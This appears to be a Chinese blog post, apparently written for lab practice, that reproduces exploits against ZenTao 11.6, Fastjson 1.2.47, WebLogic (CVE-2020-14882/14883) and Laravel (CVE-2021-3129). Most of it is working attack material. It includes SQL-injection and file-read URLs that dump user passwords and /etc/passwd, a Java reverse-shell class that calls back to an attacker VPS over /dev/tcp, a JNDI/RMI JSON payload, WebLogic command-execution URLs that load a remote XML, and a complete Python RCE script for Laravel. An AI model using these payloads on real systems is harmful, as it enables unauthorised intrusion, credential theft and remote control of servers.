[TOC]
## 0x00 蝉道 zentaocms 11.6 漏洞复现
进入网站，选择开源版

![](https://nc0.cdn.zkaq.cn/md/6508/f9bc5df45e482c425dd0288cc196281d_81218.png)

查看版本
`http://127.0.0.1/zentao/index.php?mode=getconfig`

![](https://nc0.cdn.zkaq.cn/md/6508/4d9710360f17b7f17cd389fc36093bb4_73930.png)

### sql注入

payload:
`http://127.0.0.1/zentao/api-getModel-api-sql-sql=select+account,password+from+zt_user`

![](https://nc0.cdn.zkaq.cn/md/6508/aa076e5bdbf0c6f0688a304e61c1045d_34603.png)

### 文件读取

payload：
`http://127.0.0.1/zentao/api-getModel-file-parseCSV-fileName=/etc/passwd`

![](https://nc0.cdn.zkaq.cn/md/6508/895735baee25aad6254d2591a345f5c2_84558.png)

### 代码执行
POST请求包发送数据

`http://192.168.59.128/zentao/api-getModel-editor-save-filePath=/tmp/123`

`fileContent=<?php phpinfo()?>`

（放在tmp下是因为其他目录可能有权限限制，不一定可以写进去）

![](https://nc0.cdn.zkaq.cn/md/6508/aabc494426ea83f5aac486890dec9a5d_81145.png)

查看文件，已被写入

![](https://nc0.cdn.zkaq.cn/md/6508/b487beca0737da54ef0a85ee3e5fe04b_91605.png)

访问123文件:

`http://192.168.59.128/zentao/api-getModel-api-getMethod-filePath=/tmp/123`

![](https://nc0.cdn.zkaq.cn/md/6508/683b324a0c108c1307fbf75177849bfa_96862.png)

没有成功，查看源代码，发现需要给物理路径加上一层才可以。

`http://192.168.59.128/zentao/api-getModel-api-getMethod-filePath=/tmp/123/1`

![](https://nc0.cdn.zkaq.cn/md/6508/ef27afc5464e2716f3ed71f8875d4a0a_34607.png)

## 0x01 Fastjson <=1.2.47 远程代码执行漏洞

本漏洞复现要求有一台vps作为攻击机，以下操作均在vps上完成。

1.获取exp
exp就是一个反弹shell的代码

复制代码
```
public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/VPSip/8888 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}
```
2.vim Exploit.java  修改成vpsIP和端口，此处的端口与后面NC监听的端口对应（反弹shell的过程）。

![](https://nc0.cdn.zkaq.cn/md/6508/afc080a8ebd335982468e527ee39c869_68875.png)

3.`javac Exploit.java` 把java文件编译成class文件。注意：此处要求攻击机的javac是1.8的低版本（测试在1.8.0_181可成功，尽量低于1.8.0_191版本），编译需具备`marshalsec-0.0.3-SNAPSHOT-all.jar`文件，可从github上下载[(资源)](https://github.com/CaijiOrz/fastjson-1.2.47-RCE)。

jdk低版本rpm文件包与安装方法参考：[sourse](https://blog.csdn.net/qq_41020714/article/details/88529827) -适用于centOS系统。

![](https://nc0.cdn.zkaq.cn/md/6508/b68c8faa3297c8e61847e15c751fc9ee_88142.png)

4.用python开启web服务，可随意设置端口

`python3 -m http.server 8081`
![](https://nc0.cdn.zkaq.cn/md/6508/b4b0bca1b36c593847c84562967c5119_71831.png)

5.然后借助marshalsec项目，启动一个RMI服务器，监听9999端口（句尾的`9999`端口为RMI服务端口，此端口和后面poc中rmi项的端口对应，用于RMI调用远程方法），并制定加载远程类Exploit.class：

` java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP:8081/#Exploit" 9999`

![](https://nc0.cdn.zkaq.cn/md/6508/cd8cb1e40facbd9311fc9b5c1179eba0_11367.png)

6.用nc开启端口监听，此处的端口跟exploit.java中的端口一致

![](https://nc0.cdn.zkaq.cn/md/6508/9894a56913073d893613ebd6ebddc24d_94872.png)

7.用burp发送poc(需修改两个位置的ip，第一个为目标ip，第二个为vps攻击机的ip。注意content-type为json），等待shell

```
POST / HTTP/1.1
Host: 目标ip
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 264

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://vpsIP:9999/Exploit",
        "autoCommit":true
    }
}
```

![](https://nc0.cdn.zkaq.cn/md/6508/88adfd1a3ca88b62e1fcc3c87499aaa3_51464.png)

可见已getshell：

![](https://nc0.cdn.zkaq.cn/md/6508/58ee9595720531f0093e748109628457_90036.png)

## 0x02 Weblogic 管理控制台未授权远程命令执行漏洞（CVE-2020-14882，CVE-2020-14883）

首先测试权限绕过漏洞（CVE-2020-14882），访问以下URL，即可未授权访问到管理后台页面（可能要多次尝试）：

http://[靶场url]/console/css/%252e%252e%252fconsole.portal

![](https://nc0.cdn.zkaq.cn/md/6508/67dfd499c996f2873725878a558793e8_69990.png)

访问后台后，可以发现我们现在是低权限的用户，无法安装应用，所以也无法直接执行任意代码：

![](https://nc0.cdn.zkaq.cn/md/6508/4ce947a338bf7ea5b9f6a6774e66892b_41918.png)


此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种，一是通过com.tangosol.coherence.mvel2.sh.ShellSession，二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。

直接访问如下URL，即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令：

http://[靶场url]/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
进入容器，可以发现touch /tmp/success1已成功执行：

![](https://nc0.cdn.zkaq.cn/md/6508/f946e5fdb3a50971f3ee2c9467814b02_47198.png)

这个利用方法只能在Weblogic 12.2.1以上版本利用，因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法，最早在CVE-2019-2725被提出，对于所有Weblogic版本均有效。

首先，我们需要构造一个XML文件，并将其保存在Weblogic可以访问到的服务器上，如http://example.com/rce.xml：

```
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>
```
然后通过如下URL，即可让Weblogic加载这个XML，并执行其中的命令：

```
http://[靶场url]/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")
```

![](https://nc0.cdn.zkaq.cn/md/6508/3ad50c2f73fe114490d672938656f3c5_73507.png)
这个利用方法也有自己的缺点，就是需要Weblogic的服务器能够访问到恶意XML。

## 0x03 Laravel Debug mode RCE（CVE-2021-3129）

step1:验证  
首先构造如下post包：  
```
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.0.76:8888
Content-Type: application/json
Content-Length: 168

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "xxxxxxx"
  }
}
```
如果页面出现下列错误

![](https://nc0.cdn.zkaq.cn/md/6508/4d75ca21a5bd70dba0a563a16c407f26_12246.png)
说明漏洞存在

step2:利用  
首先确定本地 ***php环境高于5.6***  
执行`git clone https://github.com/ambionics/phpggc.git`
确定 本地的 是使用'python' 还是 'python3' 进入本地环境，在文件夹内新建`exp.py`,内容如下：

```
#!/usr/bin/python3

import requests as req
import os, uuid

# 注意，这里的`python`根据本地情况，比如换成`python3`
class Exp:
    __gadget_chains = {
        "monolog_rce1": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
        "monolog_rce2": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce2 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
        "monolog_rce3": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce3 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
    }  # phpggc链集合，暂时添加rce1后续再添加其他增强通杀能力

    __delimiter_len = 8  # 定界符长度

    def __vul_check(self):
        resp = req.get(self.__url, verify=False)
        if resp.status_code != 405 and "laravel" not in resp.text:
            return False
        return True

    def __payload_send(self, payload):
        header = {
            "Accept": "application/json"
        }
        data = {
            "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
            "parameters": {
                "variableName": "cve20213129",
                "viewFile": ""
            }
        }
        data["parameters"]["viewFile"] = payload
        resp = req.post(self.__url, headers=header, json=data, verify=False)
        # print(resp.text)
        return resp

    def __command_handler(self, command):
        """
        因为用户命令要注入到payload生成的命令中，为了防止影响结构，所以进行一些处理。
        """

        self.__delimiter = str(uuid.uuid1())[:self.__delimiter_len]  # 定界符用于定位页面中命令执行结果的位置。
        # print(delimiter)
        command = "echo %s && %s && echo %s" % (self.__delimiter, command, self.__delimiter)
        # print(command)

        escaped_chars = [' ', '&', '|']  # 我只想到这么多，可自行添加。
        for c in escaped_chars:
            command = command.replace(c, '\\' + c)
        # print(command)
        return command

    def __clear_log(self):
        return self.__payload_send(
            "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")

    def __gen_payload(self, gadget_chain):
        gen_shell = self.__gadget_chains[gadget_chain] % (self.__command)
        # print(gen_shell)
        os.system(gen_shell)
        with open('payload.txt', 'r') as f:
            payload = f.read().replace('\n', '') + 'a'  # 添加一个字符使得两个完整的payload总是只有一个可以正常解码
        os.system("rm payload.txt")
        # print(payload)
        return payload

    def __decode_log(self):
        return self.__payload_send(
            "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")

    def __unserialize_log(self):
        return self.__payload_send("phar://../storage/logs/laravel.log/test.txt")

    def __rce(self):
        text = self.__unserialize_log().text
        # print(text)

        echo_find = text.find(self.__delimiter)
        # print(echo_find)
        if echo_find >= 0:
            return text[echo_find + self.__delimiter_len + 1: text.find(self.__delimiter, echo_find + 1)]
        else:
            return "[-] RCE echo is not found."

    def exp(self):
        for gadget_chain in self.__gadget_chains.keys():
            print("[*] Try to use %s for exploitation." % (gadget_chain))
            self.__clear_log()
            self.__clear_log()
            self.__payload_send('a' * 2)
            self.__payload_send(self.__gen_payload(gadget_chain))
            self.__decode_log()
            print("[*] Result:")
            print(self.__rce())

    def __init__(self, target, command):
        self.target = target
        self.__url = req.compat.urljoin(target, "_ignition/execute-solution")
        self.__command = self.__command_handler(command)
        if not self.__vul_check():
            print("[-] [%s] is seems not vulnerable." % (self.target))
            print("[*] You can also call obj.exp() to force an attack.")
        else:
            self.exp()


def main():
    Exp("这里是目标地址", "cat /etc/passwd")


if __name__ == '__main__':
    main()
```
最终目录结构如下

![](https://nc0.cdn.zkaq.cn/md/6508/f58d52debc2cc334af133cb07018cdee_10695.png)

最终结果如下：

![](https://nc0.cdn.zkaq.cn/md/6508/2d409ee94e967fc10314e01040dfc01d_44304.png)